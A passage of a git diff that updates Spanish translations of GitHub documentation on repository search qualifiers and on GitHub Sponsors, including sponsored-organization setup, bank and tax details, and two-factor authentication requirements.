-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+Ambos toman una fecha como su parámetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011.
-| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013.
-| | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks.
+| Qualifier                 | Ejemplo                                                                                                                                                                                                                                                               |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) encuentra repositorios con la palabra "webos" que fueron creados antes del 2011.                                                                |
+| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) encuentra repositorios con la palabra "css" que fueron subidos después de enero de 2013.                                               |
+|                           | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) encuentra repositorios con la palabra "case" que fueron subidos el 6 de marzo de 2013 o después, y que son bifurcaciones. |
 
-## Search by language
+## Buscar por lenguaje
 
-You can search repositories based on the language of the code in the repositories.
+Puedes buscar repositorios con base en el lenguaje de programación del código que contienen.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript.
+| Qualifier                 | Ejemplo                                                                                                                                                                                    |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) encuentra repositorios con la palabra "rails" que están escritos en JavaScript. |
 
-## Search by topic
+## Buscar por tema
 
-You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)."
+Puedes encontrar todos los repositorios que se clasifiquen con un tema particular. Para obtener más información, consulta "[Clasificar tu repositorio con temas](/github/administering-a-repository/classifying-your-repository-with-topics)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll."
+| Qualifier                 | Ejemplo                                                                                                                                                                               |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) encuentra repositorios que se han clasificado con el tema "jekyll." |
 
-## Search by number of topics
+## Buscar por cantidad de temas
 
-You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+Puedes buscar repositorios por la cantidad de temas que se les hayan aplicado utilizando el calificador `topics` en conjunto con aquellos de mayor qué, menor qué y rango. Para obtener más información, consulta las secciones "[Clasificar tu repositorio con temas](/github/administering-a-repository/classifying-your-repository-with-topics)" y "[Entender la sintaxis de búsqueda](/github/searching-for-information-on-github/understanding-the-search-syntax)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics.
-| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics.
+| Qualifier                  | Ejemplo                                                                                                                                                                 |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) encuentra repositorios que tienen cinco temas.                |
+|                            | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) coincidirá con repositorios que tengan más de tres temas. |
 
 {% ifversion fpt or ghes or ghec %}
 
-## Search by license
+## Buscar por licencia
 
-You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)."
+Puedes buscar repositorios con por su tipo de licencia. Debes utilizar una palabra clave de licencia para filtrar los repositorios por algún tipo particular o familia de licencias. Para obtener más información, consulta "[Licenciar un repositorio](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0.
+| Qualifier                  | Ejemplo                                                                                                                                                                                         |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) encuentra repositorios que tienen licencia de Apache License 2.0. |
 
 {% endif %}
 
-## Search by repository visibility
+## Buscar por visibilidad del repositorio
 
-You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Puedes filtrar tu búsqueda con base en la visibilidad de los repositorios. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %}
-| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
+| Calificador | Ejemplo | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) coincide con los repositorios públicos que pertenecen a {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) coincide con los repositorios internos a los cuales puedas acceder, los cuales contengan la palabra "test".{% endif %} | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) coincide con los repositorios privados a los cuales puedas acceder, los cuales contengan la palabra "pages."
 
 {% ifversion fpt or ghec %}
 
-## Search based on whether a repository is a mirror
+## Buscar en base a si un repositorio es un espejo
 
-You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+Puedes buscar repositorios con base en si éstos son espejos y se hospedan en otro lugar. Para obtener más información, consulta "[Encontrar formas de contribuir al código abierto en {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
 
-| Qualifier  | Example
-| ------------- | -------------
-| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME."
-|  `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME."
+| Qualifier      | Ejemplo                                                                                                                                                                              |
+| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `mirror:true`  | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) coincide con los repositorios que son espejos y que contienen la palabra "GNOME".      |
+| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) coincide con los repositorios que no son espejos y que contienen la palabra "GNOME". |
 
 {% endif %}
 
-## Search based on whether a repository is archived
+## Buscar en base a si un repositorio está archivado
 
-You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
+Puedes buscar los repositorios con base en si se archivaron o no. Para obtener más información, consulta la sección "[Archivar los repositorios](/repositories/archiving-a-github-repository/archiving-repositories)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME."
-|  `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME."
+| Qualifier        | Ejemplo                                                                                                                                                                                       |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) coincide con los repositorios que se archivan y que contienen la palabra "GNOME".           |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) coincide con los repositorios que no están archivados y que contienen la palabra "GNOME". |
 
 {% ifversion fpt or ghec %}
 
-## Search based on number of issues with `good first issue` or `help wanted` labels
+## Buscar en base a la cantidad de propuestas con las etiquetas `good first issue` o `help wanted`
 
-You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)."
+Puedes buscar repositorios que tienen una cantidad mínima de propuestas etiquetadas como `help-wanted` (se necesita ayuda) o `good-first-issue` (buena propuesta inicial) con los calificadores `help-wanted-issues:>n` y `good-first-issues:>n`. Para encontrar más información, consulta "[Fomentar las contribuciones útiles a tu proyecto con etiquetas](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)."
 
-| Qualifier  | Example
-| ------------- | -------------
-| `good-first-issues:>n` | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript."
-| `help-wanted-issues:>n`|[**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React."
+| Qualifier                  | Ejemplo                                                                                                                                                                                                                                                            |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `good-first-issues:>n`  | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) encuentra repositorios con más de dos propuestas etiquetadas como `good-first-issue` y que contienen la palabra "javascript." |
+| `help-wanted-issues:>n` | [**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) encuentra repositorios con más de cuatro propuestas etiquetadas como `help-wanted` y que contienen la palabra "React."                |
 
-## Search based on ability to sponsor
+## Búsqueda basada en la capacidad de patrocinar
 
-You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)."
+Puedes buscar repositorios cuyos propietarios puedan patrocinarse en {% data variables.product.prodname_sponsors %} con el calificador `is:sponsorable`. Para obtener más información, consulta "[Acerca de {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)".
 
-You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)."
+Puedes buscar repositorios que tengan un archivo de fondos utilizando el calificador `has:funding-file`. Para obtener más información, consulta la sección "[Acerca de los archivos de FONDOS](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)".
 
-| Qualifier  | Example
-| ------------- | -------------
-| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile.
-| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file.
+| Qualifier          | Ejemplo                                                                                                                                                                                            |
+| ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:sponsorable`   | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) encuentra repositorios cuyos propietarios tengan un perfil de {% data variables.product.prodname_sponsors %}. |
+| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) encuentra repositorios que tengan un archivo de FUNDING.yml.                                              |
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
-- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"
+- "[Clasificar los resultados de la búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- "[Búsqueda en bifurcaciones](/search-github/searching-on-github/searching-in-forks)"
diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
index 87b2785ed3..d41e60cedd 100644
--- a/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
+++ b/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
@@ -2,7 +2,7 @@
 title: Searching issues and pull requests
 intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.'
 redirect_from:
-  - /articles/searching-issues/
+  - /articles/searching-issues
   - /articles/searching-issues-and-pull-requests
   - /github/searching-for-information-on-github/searching-issues-and-pull-requests
   - /github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests
diff --git a/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md
index cd0c2c94d4..d47672ed68 100644
--- a/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md
+++ b/translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Sponsors
-intro: '{% data variables.product.prodname_sponsors %} allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on {% data variables.product.product_name %}.'
+title: Acerca de los Patrocinadores de GitHub
+intro: '{% data variables.product.prodname_sponsors %}permite a la comunidad de desarrolladores apoyar financieramente al personal y organizaciones que diseñan, construyen y mantienen los proyectos de código abierto de los cuales dependen, directamente en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/about-github-sponsors
   - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors
@@ -13,41 +13,41 @@ topics:
   - Fundamentals
 ---
 
-## About {% data variables.product.prodname_sponsors %}
+## Acerca de {% data variables.product.prodname_sponsors %}
 
 {% data reusables.sponsors.sponsorship-details %}
 
-{% data reusables.sponsors.no-fees %} For more information, see "[About billing for {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)."
+{% data reusables.sponsors.no-fees %} Para obtener más información, consulta "[Acerca de la facturación para {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)".
 
-{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see "[About {% data variables.product.prodname_sponsors %} for open source contributors](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" and "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)."
+{% data reusables.sponsors.you-can-be-a-sponsored-developer %} Para obtener más información, consulta las secciones "[Acerca de {% data variables.product.prodname_sponsors %} para los contribuyentes de código abierto](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" y "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)".
 
-{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)."
+{% data reusables.sponsors.you-can-be-a-sponsored-organization %}Para obtener más información, consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu organización](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)".
 
-When you become a sponsored developer or sponsored organization, additional terms for {% data variables.product.prodname_sponsors %} apply. For more information, see "[GitHub Sponsors Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)."
+Cuando te conviertes en un desarrollador patrocinado u organización patrocinada, aplicarán las condiciones adicionales de {% data variables.product.prodname_sponsors %}. Para obtener más información, consulta la sección "[Condiciones Adicionales de GitHub Sponsors](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)".
 
-## About the {% data variables.product.prodname_matching_fund %}
+## Acerca de {% data variables.product.prodname_matching_fund %}
 
 {% note %}
 
-**Note:** {% data reusables.sponsors.matching-fund-eligible %}
+**Nota:**{% data reusables.sponsors.matching-fund-eligible %}
 
 {% endnote %}
 
-The {% data variables.product.prodname_matching_fund %} aims to benefit members of the {% data variables.product.prodname_dotcom %} community who develop open source software that promotes the [{% data variables.product.prodname_dotcom %} Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). Payments to sponsored organizations and payments from organizations are not eligible for {% data variables.product.prodname_matching_fund %}.
+El {% data variables.product.prodname_matching_fund %} pretende beneficiar a los miembros de la comunidad de {% data variables.product.prodname_dotcom %} quienes desarrollan software de código abierto que promueve los [Lineamientos de la Comunidad de {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-community-guidelines). Los pagos desde las organizaciones y hacia las organizaciones patrocinadas no son elegibles para {% data variables.product.prodname_matching_fund %}.
 
-To be eligible for the {% data variables.product.prodname_matching_fund %}, you must create a profile that will attract a community that will sustain you for the long term. For more information about creating a strong profile, see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)."
+Para ser elegible para el {% data variables.product.prodname_matching_fund %}, debes crear un perfil que atraiga a la comunidad que te mantendrá a largo plazo. Para obtener más información acerca de crear un perfil llamativo, consulta la sección "[Editar tus detalles de perfil para {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)".
 
-Donations between sponsored developers will not be matched.
+Las donaciones entre los desarrolladores patrocinados no se empatarán.
 
 {% data reusables.sponsors.legal-additional-terms %}
 
-## Sharing feedback about {% data variables.product.prodname_sponsors %}
+## Intercambiar opiniones acerca de {% data variables.product.prodname_sponsors %}
 
 {% data reusables.sponsors.feedback %}
 
-## Further reading
-- "[Sponsoring open source contributors](/sponsors/sponsoring-open-source-contributors)"
-- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)"
-- "[Searching users and organizations based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)"
-- "[Searching repositories based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)"
-- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %}
+## Leer más
+- "[Patrocinar a contribuyentes de código abierto](/sponsors/sponsoring-open-source-contributors)"
+- "[Recibir patrocinios a través de {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)".
+- "[buscar usuarios y organizaciones con base en su capacidad de patrocinar](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)"
+- "[Buscar repositorios con base en la capacidad de patrocinar](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)"
+- "[Preguntas frecuentes con el equipo {% data variables.product.prodname_sponsors %} ](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" en {% data variables.product.prodname_blog %}
diff --git a/translations/es-ES/content/sponsors/guides.md b/translations/es-ES/content/sponsors/guides.md
index 3754acf94b..5c2c38ef25 100644
--- a/translations/es-ES/content/sponsors/guides.md
+++ b/translations/es-ES/content/sponsors/guides.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Sponsors guides
-shortTitle: Guides
-intro: 'Learn how to make the most of {% data variables.product.prodname_sponsors %}.'
+title: Guías de GitHub Sponsors
+shortTitle: Guías
+intro: 'Aprende a sacar el mayor provecho de {% data variables.product.prodname_sponsors %}.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md
index c37bc47234..3040ed2753 100644
--- a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md
+++ b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up GitHub Sponsors for your organization
-intro: 'Your organization can join {% data variables.product.prodname_sponsors %} to receive payments for your work.'
+title: Configurar los Patrocinadores de GitHub para tu organización
+intro: 'Tu organización puede unirse a {% data variables.product.prodname_sponsors %} para recibir pagos por tu trabajo.'
 redirect_from:
   - /articles/setting-up-github-sponsorship-for-your-organization
   - /articles/receiving-sponsorships-as-a-sponsored-organization
@@ -14,24 +14,24 @@ topics:
   - Organizations
   - Sponsors profile
   - Open Source
-shortTitle: Set up for organization
+shortTitle: Configuración para una organización
 ---
 
-## Joining {% data variables.product.prodname_sponsors %}
+## Unirte a {% data variables.product.prodname_sponsors %}
 
 {% data reusables.sponsors.you-can-be-a-sponsored-organization %} {% data reusables.sponsors.stripe-supported-regions %}
 
-After you receive an invitation for your organization to join {% data variables.product.prodname_sponsors %}, you can complete the steps below to become a sponsored organization.
+Después de recibir una invitación para que tu organización se una a {% data variables.product.prodname_sponsors %} puedes completar los pasos a continuación para que se convierta en una organización patrocinada.
 
-To join {% data variables.product.prodname_sponsors %} as an individual contributor outside an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)."
+Para unirte a {% data variables.product.prodname_sponsors %} como un colaborador individual independiente a una organización, consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)".
 
 {% data reusables.sponsors.navigate-to-github-sponsors %}
 {% data reusables.sponsors.view-eligible-accounts %}
-3. To the right of your organization, click **Join the waitlist**.
+3. A la derecha de tu organización, da clic en **Unirse a la lista de espera**.
 {% data reusables.sponsors.contact-info %}
 {% data reusables.sponsors.accept-legal-terms %}
 
-## Completing your sponsored organization profile
+## Completar un perfil de organización patrocinada
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.navigate-to-profile-tab %}
@@ -42,7 +42,7 @@ To join {% data variables.product.prodname_sponsors %} as an individual contribu
 {% data reusables.sponsors.opt-in-to-being-featured %}
 {% data reusables.sponsors.save-profile %}
 
-## Creating sponsorship tiers
+## Crear niveles de patrocinio
 
 {% data reusables.sponsors.tier-details %}
 
@@ -57,18 +57,18 @@ To join {% data variables.product.prodname_sponsors %} as an individual contribu
 {% data reusables.sponsors.review-and-publish-tier %}
 {% data reusables.sponsors.add-more-tiers %}
 
-## Submitting your bank information
+## Emitir tu información bancaria
 
-As a sponsored organization, you will receive payouts to a bank account in a supported region. This can be a dedicated bank account for your organization or a personal bank account. You can get a business bank account through services like [Stripe Atlas](https://stripe.com/atlas) or join a fiscal host like [Open Collective](https://opencollective.com/). The person setting up {% data variables.product.prodname_sponsors %} for the organization must live in the same supported region, too. {% data reusables.sponsors.stripe-supported-regions %}
+Como organización patrocinada, recibirás pagos en una cuenta bancaria en una región compatible. Esta puede ser una cuenta bancaria dedicada para tu organización o una cuenta bancaria personal. Puedes obtener una cuenta bancaria de negocios a través de servicios como [Stripe Atlas](https://stripe.com/atlas) o unirte a un host fiscal como [Open Collective](https://opencollective.com/). La persona que configura a {% data variables.product.prodname_sponsors %} para la organización debe vivir en la región compatible también. {% data reusables.sponsors.stripe-supported-regions %}
 
 {% data reusables.sponsors.double-check-stripe-info %}
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.create-stripe-account %}
 
-For more information about setting up Stripe Connect using Open Collective, see [Setting up {% data variables.product.prodname_sponsors %}](https://docs.opencollective.com/help/collectives/github-sponsors) in the Open Collective Docs.
+Para obtener más información acerca de cómo configurar Stripe Connect utilizando Open Collective, consulta la sección [Configurar {% data variables.product.prodname_sponsors %}](https://docs.opencollective.com/help/collectives/github-sponsors) en los documentos de Open Collective.
 
-## Submitting your tax information
+## Emitir tu información de facturación
 
 {% data reusables.sponsors.tax-form-information-org %}
 
@@ -78,17 +78,17 @@ For more information about setting up Stripe Connect using Open Collective, see
 {% data reusables.sponsors.overview-tab %}
 {% data reusables.sponsors.tax-form-link %}
 
-## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account
+## Habilitar la autenticación de dos factores (2FA) en tu cuenta {% data variables.product.prodname_dotcom %}
 
-Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.product.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+Antes de que tu organización pueda convertirse en una organización patrocinada, debes habilitar la 2FA para tu cuenta en {% data variables.product.product_location %}. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)".
 
-## Submitting your application to {% data variables.product.prodname_dotcom %} for approval
+## Enviar tu aplicación a {% data variables.product.prodname_dotcom %} para su aprobación
 
 {% data reusables.sponsors.navigate-to-sponsors-dashboard %}
 {% data reusables.sponsors.request-approval %}
 
 {% data reusables.sponsors.github-review-app %}
 
-## Further reading
-- "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)"
-- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)"
+## Leer más
+- "[Acerca de {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)"
+- "[Recibir patrocinios a través de {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)".
diff --git a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md
index 85d5d3c43f..0843c14157 100644
--- a/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md
+++ b/translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up GitHub Sponsors for your user account
-intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.product.product_location %}.'
+title: Configurar a los Patrocinadores de GitHub para tu cuenta de usuario
